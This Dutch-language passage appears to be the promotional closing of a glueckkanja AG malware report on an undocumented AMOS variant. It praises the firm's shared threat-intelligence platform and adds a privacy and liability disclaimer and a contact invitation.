Wanneer in ons SOC een alert afgaat, begint de klok niet alleen te lopen voor de getroffen klant, maar voor elke organisatie onder het beschermingsschild van glueckkanja. Dit onderzoek naar een ongedocumenteerde AMOS-variant maakt duidelijk wat de intelligence gap in de praktijk betekent: een gevaarlijk tijdvenster waarin klassieke aanbieders blind zijn, omdat ze de dreiging nog niet hebben gezien.
Hier laat ons eigen Shared Threat Intelligence Platform zijn waarde zien, exclusief ontwikkeld voor CSOC-klanten van glueckkanja. Wij wachten niet op updates uit de branche, wij maken ze. Terwijl onze analisten nog de laatste lagen van de ARM64-assembly aan het afbreken waren, verdeelde onze Automated Orchestration Engine de geëxtraheerde indicatoren al over ons hele ecosysteem. Dat levert groepsimmuniteit op: wat op één enkel endpoint wordt ontdekt, is binnen enkele minuten een geblokkeerde dreiging voor elke organisatie onder onze bescherming.
Reactieve security werkt niet tegen dreigingen die doelgericht door de gaten van conventionele verdedigingsmechanismen glippen. Het antwoord ligt in de combinatie van menselijke expertise met een architectuur die deze kennis onmiddellijk en op schaal inzet. Door ons shared-intelligence-model draait het tijdvoordeel van de aanvaller om: onze klanten zijn beschermd voordat de branche de dreiging zelfs maar herkent.
Opmerking over privacy
Identificerende informatie is in deze publicatie geanonimiseerd. Specifieke technische details, indicatoren en tijdstempels kunnen licht zijn aangepast om de lopende bescherming van de betrokken omgeving te waarborgen, zonder de technische integriteit van de analyse aan te tasten.
De technische analyses en Indicators of Compromise (IOCs) in dit rapport dienen uitsluitend ter informatie en scholing. Ze worden naar beste weten verstrekt. glueckkanja AG geeft geen expliciete of impliciete garanties over volledigheid of nauwkeurigheid en is niet aansprakelijk voor schade, verlies of security-incidenten die voortkomen uit het gebruik van de hier gedeelde informatie, regels of signatures. Wij raden aan alle indicatoren en regels voor inzet te valideren in een gecontroleerde omgeving.
Beschreven indicatoren en technieken kunnen overlappen met bekende malwarefamilies en zijn niet exclusief toe te wijzen aan één enkele campagne.
Neem contact op
Wil je weten hoe ons Shared Threat Intelligence Platform je beschermt tegen onbekende malwarevarianten, nog voordat de branche ervan hoort? Spreek ons aan.














